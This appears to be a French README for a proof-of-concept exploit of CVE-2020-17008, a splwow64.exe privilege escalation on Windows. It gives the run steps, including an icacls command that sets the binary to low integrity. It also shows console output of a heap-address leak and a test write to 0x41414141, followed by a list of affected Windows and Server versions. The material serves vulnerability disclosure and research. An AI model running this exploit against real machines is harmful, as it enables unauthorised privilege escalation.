
Preuve de concept d'exploit pour CVE-2020-17008, démontrant une élévation de privilèges de splWOW64 via une manipulation du tas sur Windows 10 et Server.
C:\Windows\splwow64.exe
Poc From:
https://bugs.chromium.org/p/project-zero/issues/detail?id=2096
Lowcd splwow64_poc\x64\Release
icacls splwow64_poc.exe /setintegritylevel L

/setintegritylevel [(CI)(OI)]level ajoute explicitement une ACE d'intégrité
à tous les fichiers correspondants. Le niveau à spécifier est l'un des
suivants:
L[ow] (Bas)
M[edium] (Moyen)
H[igh] (Élevé)
Les options d'héritage de l'ACE d'intégrité peuvent précéder le niveau, mais ne s'appliquent qu'aux
répertoires.
splwow64_poc.exe
splwow64_poc\x64\Release>splwow64_poc.exe
Start
ntdll = 0x7FF837980000
Init done
C:\Users\pwned\Desktop\splwow64_poc\x64\Release
C:\Users\pwned\Desktop\splwow64_poc\x64\Release\CreateDC.exe
Now's the time to hook up the debugger to splwow64.exe if you want to. Press [Enter] to continue . . .
Get port name
name: \RPC Control\UmpdProxy_2_bea57_0_2000
Create port.
Prepare 0x6A Message - OpenPrinter
PtrMsgReply: 0x0000000000AB0140
ClientView: 0x0000027F390B0000/0x0000000000AB0000, 0x0000027F390B0100: Microsoft XPS Document Writer
Writing message 0x6A success!
Cookie: 0x0
Preparing 0x6D message (to leak heap address) - DocumentEvent
Output: 0x0000000000000000, Heap Address: 0xFFFFFFFFFFFFFFC0
Preparing 0x6D message (write to 0x41414141) - DocumentEvent
Done
Windows 10 version 1607 (pour les systèmes basés sur x64)
Windows 10 version 1607 pour les systèmes 32 bits
Windows 10 (pour les systèmes basés sur x64)
Windows 10 (pour les systèmes 32 bits)
Windows 10 version 1709 (pour les systèmes basés sur ARM64)
Windows 10 version 1709 (pour les systèmes basés sur x64)
Windows 10 version 1709 pour les systèmes 32 bits
Windows 10 version 1809 (pour les systèmes basés sur ARM64)
Windows 10 version 1809 (pour les systèmes basés sur x64)
Windows 10 version 1809 pour les systèmes 32 bits
Windows Server version 1803 (installation Server Core)
Windows 10 version 1803 (pour les systèmes basés sur ARM64)
Windows 10 version 1803 (pour les systèmes basés sur x64)
Windows 10 version 1803 pour les systèmes 32 bits
Windows Server version 1903 (installation Server Core)
Windows 10 version 1903 (pour les systèmes basés sur ARM64)
Windows 10 version 1903 (pour les systèmes basés sur x64)
Windows 10 version 1903 pour les systèmes 32 bits
Windows Server version 1909 (installation Server Core)
Windows 10 version 1909 (pour les systèmes basés sur ARM64)
Windows 10 version 1909 (pour les systèmes basés sur x64)
Windows 10 version 1909 pour les systèmes 32 bits
Windows Server version 2004 (installation Server Core)
Windows 10 version 2004 (pour les systèmes basés sur x64)
Windows 10 version 2004 (pour les systèmes basés sur ARM64)
Windows 10 version 2004 pour les systèmes 32 bits
Windows Server 2016 (installation Server Core)
Windows Server 2016
Windows Server 2019 (installation Server Core)
Windows Server 2019
Windows Server 2012
Windows Server 2012 R2 (installation Server Core)
Windows Server 2012 R2
Windows Server 2012 (installation Server Core)
Windows RT 8.1
Windows 8.1 (pour les systèmes basés sur x64)
Windows 8.1 (pour les systèmes 32 bits)